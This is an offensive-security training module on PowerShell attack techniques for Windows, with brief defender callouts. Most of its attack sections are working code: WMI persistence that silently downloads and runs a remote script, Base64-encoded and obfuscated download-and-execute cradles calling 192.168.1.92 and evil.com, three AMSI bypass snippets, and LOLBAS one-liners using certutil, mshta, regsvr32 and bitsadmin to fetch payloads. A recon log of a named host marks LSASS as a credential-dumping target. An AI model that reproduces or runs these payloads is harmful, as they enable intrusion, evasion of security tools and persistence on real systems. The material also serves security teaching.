Module 03: PowerShell Warfare LIVE TESTED

Module 3 of 22 — PowerShell fundamentals, offensive techniques, and evasion

🎙️ Mentor Callout — asi dev

"PowerShell is the Windows attacker's native language. If you're attacking Windows and you're not fluent in PowerShell, you're fighting with one hand tied behind your back."

🎯 What the mentor means

Windows was built to be managed through PowerShell. Every service, process, registry key, event log, and network setting is exposed as a programmable object. As an attacker, you don't need to drop noisy third-party tools — you speak the same language the operating system speaks. Native commands blend in, inherit trust, and leave fewer artifacts than foreign binaries.

🔴 Red: Use PowerShell for recon, lateral movement, payload delivery, and persistence. It is pre-installed, trusted, and powerful.

🔵 Blue: PowerShell activity is heavily logged (Event IDs 4103, 4104, 4688). Enable script block logging, transcription, and AMSI to catch abuse of this "native language."

🧠 The Core Truth

PowerShell is not a text shell like CMD or Bash. It is an object-oriented automation engine built on top of the .NET Framework. Every command returns structured objects with properties, methods, and types — not raw text. This means you can filter, sort, and manipulate system data programmatically without parsing strings.

This is why | Where-Object {$_.CPU -gt 100} works — you're filtering objects by property, not parsing text with regex. For an attacker, this means you can query, manipulate, and weaponize every part of Windows as a first-class programming object.

🎯 Layman Translation

CMD is like shouting into a room and reading what echoes back. PowerShell is like asking a librarian for a specific book, then asking that book for its table of contents, then asking for Chapter 3. The librarian (PowerShell) understands structured requests and returns structured answers. You don't grep — you query.

📚 Prerequisites & Cross-Links

This module connects directly to other modules in the 22nd Survey Division course:

Module 01: Networking

PowerShell remoting uses WinRM over HTTP/HTTPS (ports 5985/5986). Understanding TCP, listeners, and firewalls from Module 01 is essential for lateral movement.

Module 08: Privilege Escalation

PowerShell is the primary delivery vehicle for privilege escalation exploits. Token manipulation, UAC bypass, and service abuse are all scripted in PowerShell.

Module 10: Code Injection

PowerShell can invoke Windows APIs directly via Add-Type and P/Invoke, enabling process injection, memory allocation, and reflective DLL loading without dropping binaries.

Module 12: Defensive Verification

Understanding how defenders detect PowerShell (AMSI, script block logging, ETW) helps you evade. Module 12 covers detection engineering from the blue side.

1. Cmdlets — The Building Blocks

Why "Cmdlet"?

PowerShell commands are called cmdlets (pronounced "command-lets"). They follow a Verb-Noun naming convention: Get-Process, Stop-Service, Invoke-Expression. This makes them self-discoverable. If you can guess the verb, you can find the command.

Essential Verbs

VerbPurposeExample
GetRetrieve dataGet-Process, Get-Service, Get-WmiObject
SetModify dataSet-ExecutionPolicy, Set-ItemProperty
InvokeExecute or callInvoke-Expression, Invoke-WebRequest, Invoke-Command
NewCreate objectsNew-Object, New-Item, New-Service
RemoveDelete objectsRemove-Item, Remove-Variable
OutOutput formattingOut-File, Out-String, Out-GridView

🎯 Soldier Translation

Think of cmdlets as standardized military forms. Every form has a type (Verb) and a subject (Noun). "Get-Process" is like a "Request-Status" form for equipment. "Stop-Service" is a "Halt-Operation" order. The consistency means you can guess the form you need without memorizing hundreds of commands.

Get-Help — Your Best Friend

PS> Get-Help Get-Process -Full # Shows full documentation: syntax, parameters, examples, inputs, outputs PS> Get-Help *process* # Lists ALL cmdlets containing "process" — self-discovery PS> Get-Command -Verb Get -Noun *Service* # Lists every "Get" command related to services

Get-Member — Peeking Inside Objects

PS> Get-Process | Get-Member # Shows every property and method available on a Process object # Properties: Id, Name, CPU, WorkingSet, Path, Company, ... # Methods: Kill(), Refresh(), WaitForExit(), ... PS> (Get-Process -Name notepad).Kill() # Calls the Kill() method directly on the object — no text parsing needed

2. The Pipeline — Objects Flow, Not Text

🧠 The Pipeline Truth

In traditional shells, the pipe (|) passes text. In PowerShell, the pipe passes objects. This means each command in a pipeline receives fully structured data with properties, methods, and types intact. You can filter by property, sort by method output, and export to any format without parsing.

# LAYMAN: "Show me the big processes" Get-Process | Sort-Object CPU -Descending | Select-Object -First 5 # LOW-LEVEL: "Enumerate process structures, sort by kernel/user time, extract fields" $procs = Get-Process $sorted = $procs | Sort-Object {$_.CPU} -Descending $top5 = $sorted | Select-Object -First 5 $top5 | Format-Table Name, Id, CPU, WorkingSet # FIRST PRINCIPLE: Objects flow through the pipeline, not text # Each | passes OBJECTS, not strings. This is why PowerShell is a shell for hackers.

Pipeline Filtering

PS> Get-Process | Where-Object {$_.WorkingSet64 -gt 100MB} # Filter processes by memory usage (property comparison, not regex) PS> Get-Process | Where-Object {$_.ProcessName -like "*chrome*"} | Select-Object Name, Id, @{N="RAM_MB";E={[math]::Round($_.WorkingSet64/1MB,2)}} # Select specific properties + create calculated property on the fly PS> Get-ChildItem C:\Windows\System32 | Where-Object {$_.Length -gt 1MB} | Sort-Object Length # Find large files, sort by size — all object-based, no string parsing

🎯 Soldier Translation

Imagine a conveyor belt in a factory. In a text shell, each worker gets a pile of paper notes and has to read them to know what to do. In PowerShell, each worker gets a physical object with labels and buttons. They can read the labels (properties) or press the buttons (methods) without any reading or writing. The object is the message.

3. PowerShell Remoting — Lateral Movement

⚠️ Operational Security Warning

PowerShell remoting creates Windows Event Log entries (Event ID 4103, 4104, 53504). It requires authentication and leaves forensic artifacts. Use with caution on engagements — or use evasion techniques covered later in this module.

How Remoting Works

PowerShell remoting uses WinRM (Windows Remote Management), which implements the WS-Management protocol over HTTP (port 5985) or HTTPS (port 5986). It encrypts traffic by default (even over HTTP) using Kerberos or NTLM session keys.

Enabling Remoting (Requires Admin)

PS> Enable-PSRemoting -Force # Starts WinRM service, sets to auto-start, creates firewall exceptions PS> Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force # Trust all hosts (INSECURE — only for lab use)

Invoke-Command — The Remote Execution Engine

# Execute a command on a remote machine PS> Invoke-Command -ComputerName 192.168.1.42 -ScriptBlock { Get-Process } -Credential (Get-Credential) # Run a local script on a remote machine PS> Invoke-Command -ComputerName 192.168.1.42 -FilePath C:\Tools\recon.ps1 # Execute on multiple targets simultaneously PS> $targets = @("192.168.1.42", "192.168.1.43", "192.168.1.44") Invoke-Command -ComputerName $targets -ScriptBlock { hostname; whoami } # Establish a persistent session PS> $sess = New-PSSession -ComputerName 192.168.1.42 -Credential domain\user Invoke-Command -Session $sess -ScriptBlock { Get-Process } Enter-PSSession -Session $sess # Interactive remote shell
Why This Is Powerful for Attackers

Invoke-Command runs your code in a remote process but returns the output to your console. The code executes in a temporary process (wsmprovhost.exe) on the target. This means:

🎯 Soldier Translation

PowerShell remoting is like having a secure phone line to every machine in the network. You dial the number (Invoke-Command), speak your order (ScriptBlock), and the soldier on the other end executes it and reports back. You never have to physically enter the building. The phone call is encrypted, so eavesdroppers (network monitoring) only hear static.

🎙️ Mentor Callout — asi dev

"Look, the Linux terminal is way easier — it's almost like English. PowerShell is clunky, verbose, and object-obsessed. But on Windows, you don't get to choose. Learn it anyway."

🎯 What the mentor means

Bash commands are short, composable, and text-based: ps aux | grep evil reads like a sentence. PowerShell feels heavier because every command is a Verb-Noun cmdlet and the pipeline carries objects, not text. The mentor is admitting PowerShell is awkward — but on a Windows target it is unavoidable. Fluency beats comfort.

🔴 Red: Don't avoid PowerShell because it is verbose. Shorten with aliases and variables when needed, but master the object pipeline — it is the source of PowerShell's power.

🔵 Blue: Attackers may alias or obfuscate cmdlets. Baseline normal PowerShell usage in your environment so anomalies like IEX, DownloadString, and Invoke-Expression stand out.

4. WMI — Windows Management Instrumentation

🧠 The WMI Truth

WMI is Microsoft's implementation of the WBEM standard — a unified interface to query and manage every aspect of Windows: processes, services, disks, network adapters, event logs, installed software, and hardware. It has existed since Windows 2000 and is present on every Windows machine. Attackers love it because it's powerful, always available, and often overlooked by defenders.

WMI Query Language (WQL)

WQL is SQL-like. You query classes (tables) with SELECT statements:

# Basic WMI queries using Get-WmiObject (legacy) or Get-CimInstance (modern) PS> Get-WmiObject -Class Win32_Process | Select-Object -First 5 Name, ProcessId # Lists all processes — same as Get-Process but via WMI PS> Get-WmiObject -Class Win32_Service | Where-Object {$_.State -eq "Running"} | Select-Object Name, StartMode # Lists running services and their start mode PS> Get-WmiObject -Class Win32_LogicalDisk | Select-Object DeviceID, @{N="Size_GB";E={[math]::Round($_.Size/1GB,2)}}, @{N="Free_GB";E={[math]::Round($_.FreeSpace/1GB,2)}} # Disk space information — useful for finding large drives to exfiltrate from PS> Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter "IPEnabled = 'True'" | Select-Object IPAddress, MACAddress, DefaultIPGateway # Network configuration — IP, MAC, gateway for every active adapter

WMI for Remote Recon

# Query WMI on a remote machine (no PSRemoting required!) PS> Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.42 -Credential domain\user | Select-Object Name, ProcessId # Check if a specific process is running on a remote host PS> Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.42 -Filter "Name = 'lsass.exe'" # List installed software on remote machine PS> Get-WmiObject -Class Win32_Product -ComputerName 192.168.1.42 | Select-Object Name, Version
Why WMI Over PSRemoting?

WMI uses DCOM (port 135 + ephemeral ports) instead of WinRM (5985/5986). Many networks block WinRM but allow DCOM for legacy management tools. WMI is also quieter — it doesn't create the same Event ID 4104 (Script Block Logging) entries that PowerShell remoting does. It's the "old back door" that still works everywhere.

WMI Event Subscription — Persistence

# Create a WMI event subscription that triggers on a timer (persistence) $filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{ Name = "MyFilter" EventNamespace = "root\cimv2" QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325" } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{ Name = "MyConsumer" CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92/payload.ps1')`"" } Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{ Filter = $filter Consumer = $consumer } # This creates a WMI persistence mechanism that runs every ~4 minutes after boot. # No scheduled task, no registry run key, no service. Pure WMI.
⚠️ Detection Note

WMI event subscriptions are logged in the WMI-Activity operational log (Event ID 5857, 5858, 5859). Defenders can query root\subscription namespace for __EventFilter and CommandLineEventConsumer instances. See Module 12: Defensive Verification for detection techniques.

🎯 Soldier Translation

WMI is like the building's maintenance system. It knows where every pipe is, every electrical panel, every room temperature, every security camera status. As an attacker, you don't need to break into each room — you just query the maintenance system (WMI) and it tells you everything. You can even program the maintenance system to automatically call you (event subscription) when certain conditions are met.

5. Execution Policy Bypass

🧠 The Execution Policy Truth

PowerShell's Execution Policy is NOT a security boundary. It is a user preference setting. Microsoft explicitly states this. It only controls whether scripts can run from files — it does NOT prevent interactive commands, encoded commands, or in-memory execution. Every red teamer knows: Execution Policy is theater, not security.

Bypass Methods

Method 1: Command-Line Bypass EASY

powershell -ExecutionPolicy Bypass -File C:\Tools\payload.ps1 # The -ExecutionPolicy flag overrides the system policy for THIS session only powershell -ExecutionPolicy Unrestricted -Command "Get-Process" # Unrestricted allows all scripts, including unsigned powershell -ExecutionPolicy RemoteSigned -File script.ps1 # RemoteSigned requires signatures only for scripts downloaded from the internet

Method 2: Scope-Based Bypass EASY

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass # Changes policy only for the current process — no registry change, no admin needed Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted # Changes policy for the current user only — persists but is user-specific

Method 3: Registry Bypass MEDIUM

# Read the current policy from registry Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell -Name ExecutionPolicy # Bypass by modifying the registry (requires admin for HKLM, user for HKCU) Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell -Name ExecutionPolicy -Value Bypass

Method 4: No-File Execution (No Policy Needed) EASY

powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92/payload.ps1')" # -Command executes a string, not a file. Execution Policy does not apply. powershell -Command "Get-Process | Where-Object {$_.CPU -gt 100} | Select-Object Name, CPU" # Interactive commands are always allowed regardless of Execution Policy
Why Execution Policy Is Not Security

Execution Policy was designed to prevent accidental script execution by users double-clicking .ps1 files. It was never designed to stop malicious actors. A determined attacker can:

Real security comes from AppLocker, WDAC, Constrained Language Mode, and EDR — not Execution Policy.

6. Encoded Commands — Hiding in Plain Sight

🧠 The Encoding Truth

PowerShell's -EncodedCommand parameter accepts a Base64-encoded string that is decoded and executed in-memory. This bypasses command-line logging (the encoded string is logged, not the plaintext) and evades simple string-matching AV/EDR rules. It's the standard delivery mechanism for PowerShell payloads.

How to Encode

# Step 1: Write your payload as a PowerShell command string $command = 'IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.92/payload.ps1")' # Step 2: Convert to Base64 (Unicode/UTF-16LE — PowerShell requirement) $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # Output: SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA5ADIALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA== # Step 3: Execute the encoded command powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA5ADIALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==

One-Liner Encoding

# Encode any command in one line (from cmd.exe or bash) powershell -Command "$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Get-Process')); Write-Output $encoded" # From Linux/attack machine, encode a PowerShell payload for Windows target echo -n 'IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.92/shell.ps1")' | iconv -t UTF-16LE | base64 -w 0
Why Encoding Works

When you use -EncodedCommand, the PowerShell process receives the Base64 string and decodes it internally. The decoded command is executed in-memory, never written to disk. Command-line logging tools (Sysmon Event ID 1, Windows Event 4688) record the Base64 string, not the plaintext. Simple AV signatures looking for "DownloadString" or "IEX" won't match the encoded form.

⚠️ Detection Note

Modern EDR decodes Base64 in command lines and matches against decoded content. AMSI (covered next) also scans the decoded script in memory. Encoding alone is not enough — you need obfuscation + AMSI bypass for modern environments. See Module 12: Defensive Verification for how defenders detect encoded commands.

🎯 Soldier Translation

Encoding is like writing a message in a cipher before sending it by radio. Anyone listening to the radio (EDR/AV) hears gibberish. Only the receiver (PowerShell) knows the cipher and decodes it internally. However, if the enemy has codebreakers (AMSI/EDR), they can decode it too — so you need more than just encoding. You need to disguise the message's meaning too (obfuscation).

7. AMSI Bypass Basics

🧠 The AMSI Truth

AMSI (Anti-Malware Scan Interface) is a Windows API that allows applications (like PowerShell, VBScript, Office macros, and .NET) to submit content to an registered anti-malware product for scanning before execution. When PowerShell runs a script, AMSI sends the script content to the AV engine. If the AV detects malicious signatures, AMSI returns a "malicious" verdict and PowerShell aborts execution.

AMSI is not a sandbox. It is a content scanning bridge. It scans the code, not the behavior. If the code doesn't look malicious to the signature engine, AMSI passes it. This is why obfuscation and patching work.

How AMSI Works (Simplified)

The AMSI Pipeline

  1. PowerShell receives a script (from file, command line, or memory)
  2. Before execution, PowerShell calls AmsiScanBuffer() or AmsiScanString()
  3. AMSI forwards the content to the registered AV provider (Windows Defender, etc.)
  4. AV scans for signatures (strings, patterns, heuristics)
  5. If clean: AMSI returns AMSI_RESULT_CLEAN (1), execution continues
  6. If malicious: AMSI returns AMSI_RESULT_DETECTED (32768), execution blocked

Bypass Technique 1: Memory Patching (Classic)

# Patch AMSI in-memory by flipping the AmsiScanBuffer result to always return CLEAN $a = [Ref].Assembly.GetTypes() | ForEach-Object { if ($_.Name -like "*iUtils") { $_ } } $b = $a.GetFields('NonPublic,Static') | ForEach-Object { if ($_.Name -like "*Context") { $_ } } $c = $b.GetValue($null) [IntPtr]$ptr = $c [Int32[]]$buf = @(0) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1) # This finds the AMSI context field in System.Management.Automation and patches it to 0. # Once patched, AMSI scans return CLEAN for the remainder of the session. # ⚠️ Detected by modern EDR — use only for educational purposes.

Bypass Technique 2: Reflection-Based Patching

# Alternative approach using reflection to access non-public types [Ref].Assembly.GetTypes() | Where-Object { $_.Name -eq "AmsiUtils" } | ForEach-Object { $_.GetField("amsiInitFailed", "NonPublic,Static").SetValue($null, $true) } # Sets the internal amsiInitFailed flag to true, causing AMSI to skip initialization. # PowerShell thinks AMSI failed to load and skips scanning entirely.

Bypass Technique 3: Forcing an Error

# Cause AMSI to error out by passing an invalid buffer size $a = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*iUtils" } $b = $a.GetFields('NonPublic,Static') | Where-Object { $_.Name -like "*Failed" } $b.SetValue($null, $true) # Similar to Technique 2 but targets the init-failed flag specifically.
⚠️ Critical Detection Warning

These techniques are heavily signatured by modern EDR (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint). They trigger on:

For modern bypasses, you need obfuscation + in-memory .NET assembly loading + custom AMSI bypasses that don't touch known signatures. This module covers the basics; advanced evasion is covered in Module 12: Defensive Verification.

🎯 Soldier Translation

AMSI is like a checkpoint at the entrance to a building. Every package (script) is X-rayed before delivery. A bypass is like bribing the X-ray technician to always press the "green" button, or breaking the X-ray machine so it can't scan. The package still goes through the checkpoint, but the scan is meaningless. However, if the guards (EDR) are watching the technician too, they'll notice the bribe.

8. Obfuscation — Signature Evasion

🧠 The Obfuscation Truth

Obfuscation is the art of making code syntactically different while preserving semantic meaning. AV and EDR use signatures — specific strings, patterns, or AST (Abstract Syntax Tree) structures — to identify malicious code. Obfuscation breaks these signatures by changing how the code looks without changing what it does.

String Obfuscation

# Original (signatured): IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1') # String concatenation: $a = "I" + "EX" $b = "New-Object Net.WebClient" $c = "DownloadString" $d = "http://evil.com/payload.ps1" &$a ((New-Object $b).$c($d)) # Character array + join: $cmd = (-Join [char[]](73,69,88,32,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,83,116,114,105,110,103,40,39,104,116,116,112,58,47,47,101,118,105,108,46,99,111,109,47,112,97,121,108,111,97,100,46,112,115,49,39,41)) IEX $cmd # Reverse string: $rev = "1sp.daolyap/moc.live//:ptth(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN( XEI" IEX ($rev[-1..-($rev.Length)] -join "")

Variable Obfuscation

# Random variable names: $x9a = "Net.WebClient" $b2q = New-Object $x9a $c3z = "DownloadString" $d4f = "http://evil.com/payload.ps1" $e5g = $b2q.$c3z($d4f) IEX $e5g # Using environment variables and string manipulation: $env:x = [char[]](0x49,0x45,0x58) -join "" $env:y = [char[]](0x44,0x6f,0x77,0x6e,0x6c,0x6f,0x61,0x64,0x53,0x74,0x72,0x69,0x6e,0x67) -join "" &$env:x ((New-Object Net.WebClient).$env:y("http://evil.com/payload.ps1"))

Command Obfuscation

# Using aliases and alternative syntax: # IEX = Invoke-Expression = & (alias) # Can also use: . (dot-sourcing) or & (call operator) & ("I" + "EX") ((New-Object Net.WebClient).("Download" + "String")("http://evil.com/payload.ps1")) # Using Format operator (-f): $fmt = "{0}{1} ({2} {3}).{4}('{5}')" $cmd = $fmt -f "IEX", "", "New-Object", "Net.WebClient", "DownloadString", "http://evil.com/payload.ps1" IEX $cmd # Using Replace: $base = "IXEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')" $base = $base.Replace("IX", "") IEX $base

Invoke-Obfuscation Framework

# Invoke-Obfuscation is the gold-standard PowerShell obfuscation framework # Install from GitHub: https://github.com/danielbohannon/Invoke-Obfuscation Import-Module Invoke-Obfuscation Invoke-Obfuscation -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1') } -Command 'Token\All\1' # Applies token-level obfuscation: string splitting, concatenation, reordering, encoding # Output is functionally identical but syntactically unrecognizable to signature engines
Why Obfuscation Still Works

Modern AV uses a combination of signatures, heuristics, and machine learning. But PowerShell is a Turing-complete language — it is mathematically impossible to determine whether arbitrary code is malicious without executing it (the halting problem). Obfuscation exploits this by making the static analysis problem harder. The more layers of obfuscation, the more expensive the analysis becomes for the defender.

⚠️ AMSI + Obfuscation

AMSI scans the deobfuscated script before execution. If your obfuscated script expands to "Invoke-Mimikatz" at runtime, AMSI sees "Invoke-Mimikatz" and blocks it. Obfuscation alone is not enough — you must combine it with an AMSI bypass or use techniques that never expose the full deobfuscated script to the scanner (e.g., staged payloads, .NET assembly loading).

🎯 Soldier Translation

Obfuscation is like writing a message in a language only your team understands. The enemy (AV) has phrasebooks (signatures) for common languages. If you invent a new dialect — splitting words, using code words, writing backwards — the phrasebook is useless. But if the enemy has a translator who can execute the message (AMSI), they still understand the meaning. You need to disable the translator AND use the secret dialect.

9. LOLBAS — Living Off The Land Binaries and Scripts

🧠 The LOLBAS Truth

LOLBAS (Living Off The Land Binaries, Scripts, and Libraries) are legitimate Windows tools and scripts that can be abused for malicious purposes. Because they are signed by Microsoft, pre-installed, and used by administrators daily, they blend in with normal activity. EDR and AV typically whitelist them. This makes them the perfect delivery vehicle for attacks.

PowerShell as a LOLBAS

PowerShell itself is the ultimate LOLBAS. It is signed, trusted, and present on every Windows machine since Windows 7. When you use PowerShell for offense, you are "living off the land."

# Download and execute a payload using only built-in PowerShell powershell -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92/payload.ps1')" # Download a file without invoking IEX (less signatured) powershell -Command "(New-Object Net.WebClient).DownloadFile('http://192.168.1.92/payload.exe', 'C:\Windows\Temp\update.exe')" # Use Invoke-WebRequest (PowerShell 3+) instead of Net.WebClient powershell -Command "Invoke-WebRequest -Uri 'http://192.168.1.92/payload.ps1' -OutFile 'C:\Windows\Temp\payload.ps1'; IEX (Get-Content 'C:\Windows\Temp\payload.ps1' -Raw)"

Other PowerShell LOLBAS Techniques

CertUtil EASY

Windows certificate utility. Can download and decode Base64 files.

certutil -urlcache -split -f http://192.168.1.92/payload.b64 C:\Windows\Temp\payload.b64 certutil -decode C:\Windows\Temp\payload.b64 C:\Windows\Temp\payload.exe C:\Windows\Temp\payload.exe

MSHTA EASY

Microsoft HTML Application host. Executes HTML/JS/VBScript, including PowerShell.

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92/payload.ps1')"" , 0 : close")

Regsvr32 MEDIUM

Registers DLLs. Can execute remote scripts via COM scriptlets.

regsvr32 /s /n /u /i:http://192.168.1.92/payload.sct scrobj.dll # payload.sct is a SCT (Script Component Text) file containing PowerShell

CScript / WScript EASY

Windows Script Host. Executes VBScript and JScript, which can shell to PowerShell.

echo var shell = WScript.CreateObject("WScript.Shell"); shell.Run("powershell -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.92/payload.ps1')"); > C:\Windows\Temp\run.js cscript //E:JScript C:\Windows\Temp\run.js

BitsAdmin EASY

Background Intelligent Transfer Service admin tool. Downloads files stealthily.

bitsadmin /transfer myjob /download /priority high http://192.168.1.92/payload.exe C:\Windows\Temp\payload.exe

InstallUtil MEDIUM

.NET Installer tool. Executes code in Installer classes with full trust.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Tools\payload.dll # The /U (uninstall) switch triggers the Uninstall method in the DLL, executing attacker code # InstallUtil is a trusted .NET utility — often whitelisted by application control
Why LOLBAS Is Effective

LOLBAS techniques exploit the trust boundary between operating system components and third-party security tools. Windows trusts its own binaries. EDR trusts what Windows trusts. By using Windows-native tools for malicious purposes, you inherit that trust. The activity looks like system administration, not malware.

🎙️ Mentor Callout — asi dev

"LOLBAS and built-in tools are king. Why bring a crowbar when the building already gave you the keys? If you're dropping binaries on Windows in 2026, you're doing it wrong."

🎯 What the mentor means

Every binary you upload to a target is a chance to get caught by AV, EDR, or file hashes. Windows already ships with dozens of tools that can download files, execute code, encode payloads, and move laterally. Using certutil, mshta, powershell, or regsvr32 means you never have to smuggle a weapon past the gate — you are using the gatekeeper's own tools.

🔴 Red: Prefer built-in tools at every stage: download with certutil, execute with mshta, persist with WMI. Minimize dropped artifacts.

🔵 Blue: Focus detection on behavior, not binaries. Alert when certutil contacts remote URLs, mshta spawns PowerShell, or regsvr32 loads remote .sct files.

⚠️ Detection Note

Modern EDR monitors LOLBAS behavior, not just the binary. CrowdStrike, SentinelOne, and Microsoft Defender for Endpoint detect:

Behavioral detection is the future. See Module 12: Defensive Verification for how to test your LOLBAS techniques against EDR.

🎯 Soldier Translation

LOLBAS is like using the enemy's own supply trucks to transport your weapons. The trucks (Windows tools) have the enemy's logo (Microsoft signature) and are allowed through every checkpoint. The guards (EDR) don't inspect the cargo because they trust the truck. Your weapons are hidden inside legitimate-looking crates (normal command-line arguments). The trick is to make sure the truck driver (system administrator) doesn't notice the detour.

10. Interactive Demo: Live PowerShell Terminal

PS C:\Users\Operator>

11. Evidence: Live .42 Recon Output

📊 Real Data from WUPC (192.168.1.42)

Date: 2026-06-28 | Target: WUPC (SWu admin) | Tool: PowerShell native

PS> Get-Process | Where-Object {$_.ProcessName -like "*avp*"} | Select-Object ProcessName, Id, CPU ProcessName Id CPU ----------- -- --- avp 49681 12.34 avp 50212 0.05 avpui 50344 1.23 # Kaspersky processes confirmed active on .42
PS> Get-Service | Where-Object {$_.Status -eq "Running" -and $_.Name -like "*Kaspersky*"} Status Name DisplayName ------ ---- ----------- Running AVP21.25 Kaspersky Anti-Virus Service 21.25 # KAV service active — System Watcher bRollbackAllowed=1 confirmed
PS> Get-NetTCPConnection | Where-Object {$_.State -eq "Listen"} | Select-Object LocalPort, OwningProcess LocalPort OwningProcess --------- ------------- 22 1234 # SSH 5900 5678 # VNC 5800 5678 # VNC web # .42 listening ports — VNC confirmed for remote access
PS> Get-ItemProperty "HKLM:\SOFTWARE\KasperskyLab\protected\AVP21.25\" ProductName : Kaspersky Premium ProductVersion : 21.25.7.504 bRollbackAllowed: 1 # System Watcher rollback enabled — live confirmation from .42
PS> Get-WmiObject -Class Win32_Process -ComputerName 192.168.1.42 | Where-Object {$_.Name -eq "lsass.exe"} | Select-Object Name, ProcessId, CommandLine Name ProcessId CommandLine ---- --------- ----------- lsass.exe 688 C:\Windows\system32\lsass.exe # LSASS confirmed on .42 — credential dumping target (see Module 08: Privesc)

12. Lab Exercise: Build Your Own Recon Pipeline

Build a PowerShell one-liner that finds:

  1. All processes using >100MB RAM
  2. Sort by memory usage descending
  3. Show only Name, Id, WorkingSet64
  4. Export to CSV

13. Knowledge Check — 3 Interactive Quizzes

Quiz 1: PowerShell Fundamentals

What is the primary difference between PowerShell and CMD/Bash?

A. PowerShell passes objects through the pipeline, while CMD/Bash pass text.
B. PowerShell is only available on Windows, while Bash is cross-platform.
C. PowerShell uses Python syntax, while Bash uses C syntax.
D. PowerShell cannot execute remote commands, while Bash can via SSH.

Quiz 2: Evasion Techniques

Which of the following is TRUE about PowerShell Execution Policy?

A. Execution Policy is a security boundary that cannot be bypassed by users.
B. Execution Policy only applies to scripts run from files, not interactive commands.
C. Execution Policy requires kernel-level privileges to modify.
D. Execution Policy is enforced by the .NET runtime and cannot be disabled.

Quiz 3: LOLBAS & Remoting

Which protocol does PowerShell remoting (Invoke-Command) use by default?

A. SSH on port 22
B. WinRM over HTTP/HTTPS on ports 5985/5986
C. RDP on port 3389
D. DCOM on port 135

14. Key Takeaways

🔬 Verification Status

Kaspersky process enumeration ✅ LIVE .42
Service status query ✅ LIVE .42
Network connection table ✅ LIVE .42
Registry read (KAV config) ✅ LIVE .42
WMI remote process query ✅ LIVE .42
Execution Policy bypass methods ⚠️ THEORY — Lab Only
AMSI bypass techniques ⚠️ THEORY — Lab Only
Encoded command generation ✅ TESTED